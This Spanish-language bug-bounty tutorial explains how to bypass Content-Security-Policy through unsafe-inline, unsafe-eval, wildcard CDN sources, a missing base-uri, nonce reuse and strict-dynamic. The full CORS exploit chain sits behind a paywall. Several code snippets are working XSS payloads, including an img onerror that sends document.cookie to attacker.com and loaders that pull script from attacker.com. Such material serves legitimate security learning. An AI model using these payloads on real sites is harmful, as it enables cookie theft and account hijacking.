Nivel AvanzadoPremium

CSP bypass + CORS misconfig + XSS — chain completo de explotación

Cómo encadenar misconfiguración CSP (unsafe-inline, wildcard sources, JSONP endpoints whitelistados), CORS con credentials y XSS para data exfiltration sin restricciones.

Gorka El Bochi11 de mayo de 202617 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

CSP bien implementada hace que XSS sea "informational" — el payload no ejecuta. Pero 'unsafe-inline', 'unsafe-eval', wildcards (*.cdn.com) y endpoints JSONP en dominios whitelisted abren huecos. Encadenado con CORS mal configurado (Access-Control-Allow-Origin: * + Allow-Credentials: true, o reflexión del Origin header), el atacante exfiltra datos arbitrarios. La chain típica: XSS contained por CSP → CSP bypass via JSONP/wildcard → CORS misconfig para fetch credentials → exfil.


Anatomía de una CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' https://cdn.target.com https://*.googleapis.com;
  style-src 'self' 'unsafe-inline';
  img-src * data:;
  connect-src 'self' https://api.target.com;
  frame-ancestors 'none';
  base-uri 'self';
  report-uri /csp-report

Las directivas relevantes para XSS:

DirectivaPropósitoBypass posible si
script-srcQué scripts puedes cargarContiene unsafe-inline, unsafe-eval, wildcards CDN, dominios con JSONP
default-srcFallbackSi la app no setea script-src, defaults aquí
object-src<object>, <embed>, <applet>Si no es 'none', Flash legacy attacks (raro 2026)
base-uri<base href> injectionSi no está, atacante setea <base> y redirige relative scripts
style-srcCSS sourcesunsafe-inline permite CSS exfil con expressions
connect-srcFetch/XHR/WebSocket destinationsSi es * o tiene wildcards, exfil sin restricción
frame-ancestorsQuién puede framear estoSin él, clickjacking posible

Bypass 1 — 'unsafe-inline' literal

css
Content-Security-Policy: script-src 'self' 'unsafe-inline'

La CSP está "presente" pero unsafe-inline la anula para inline scripts. Cualquier XSS clásico funciona sin restricciones. Sigue siendo extremadamente común en SaaS heredados que migraron a CSP sin refactorizar inline handlers.

html
<img src=x onerror=fetch('https://attacker.com/c?='+document.cookie)>

Bypass 2 — 'unsafe-eval' habilitado

'unsafe-eval' permite eval(), Function(), setTimeout(string). Si el XSS aterriza en un sink donde puedes ejecutar string-as-code, no necesitas inline:

html
<script src="https://cdn-whitelisted.com/legit.js"></script>
<!-- Si legit.js hace eval(window.name) o similar, puedes inyectar payload via window.name -->

Combinado con Angular legacy (ng-app) o React con dangerouslySetInnerHTML, los template engines se convierten en sinks de eval.


Bypass 3 — Wildcards en script-src

arduino
script-src 'self' https://*.cloudfront.net

CloudFront permite a cualquiera hospedar JS estático. El atacante crea su propio bucket S3 → URL del tipo https://attacker-bucket.s3.cloudfront.net/payload.js. CSP lo permite.

html
<script src="https://attacker.s3.cloudfront.net/p.js"></script>

Variantes peligrosas:

perl
script-src 'self' https://*.googleusercontent.com   # Cualquiera con cuenta Google hospeda
script-src 'self' https://*.amazonaws.com           # S3 público
script-src 'self' https://storage.googleapis.com    # GCS público
script-src 'self' https://raw.githubusercontent.com # GitHub raw files

Todos los servicios "user-content under CDN" rompen CSP si están whitelisteados.


Bypass 4 — base-uri ausente + relative scripts

Si la app no setea base-uri 'self' pero usa relative <script src="./app.js">:

html
<!-- XSS injection point -->
<base href="https://attacker.com/">

<!-- Ahora cualquier <script src="./app.js"> en la página después de este punto -->
<!-- carga https://attacker.com/app.js -->

Sutil porque la app sigue funcionando si atacante hospeda un app.js benigno + payload. CSP no detecta porque base-uri no la cubre.


Bypass 5 — Nonce reuse o predecible

arduino
script-src 'self' 'nonce-abc123'
html
<script nonce="abc123">window.config = {...}</script>

Si el nonce es:

  • Reusado entre requests (cacheable / shared): atacante captura un nonce y lo usa en su payload.
  • Predecible (timestamps, counter, weak random): predicting future nonces.
  • Reflejado en el HTML como atributo de otro elemento: si el atacante puede inyectar en cualquier atributo del DOM cerca del nonce, copia el valor.

Ejemplo de copy-nonce attack (HTML injection limitado):

html
<img src=x onerror="
  const nonce = document.querySelector('script[nonce]').nonce;
  const s = document.createElement('script');
  s.setAttribute('nonce', nonce);
  s.src = 'https://attacker.com/p.js';
  document.head.appendChild(s);
">

onerror no ejecuta si la CSP es strict (block inline), pero si el nonce está accessible via .nonce property y CSP permite via wildcard CDN, sí.


Bypass 6 — strict-dynamic + injected script

'strict-dynamic' permite que scripts cargados via API (appendChild) por scripts ya autorizados ejecuten también. Si el atacante consigue ejecutar una sola línea dentro de un script autorizado (vía gadget, DOM clobbering, prototype pollution), puede cargar arbitrary JS:

javascript
// Una vez ejecutando dentro de un script autorizado:
const s = document.createElement('script');
s.src = 'https://attacker.com/p.js';
document.head.appendChild(s);

strict-dynamic da carta blanca al loader autorizado.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Csp Bypass Arsenal

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.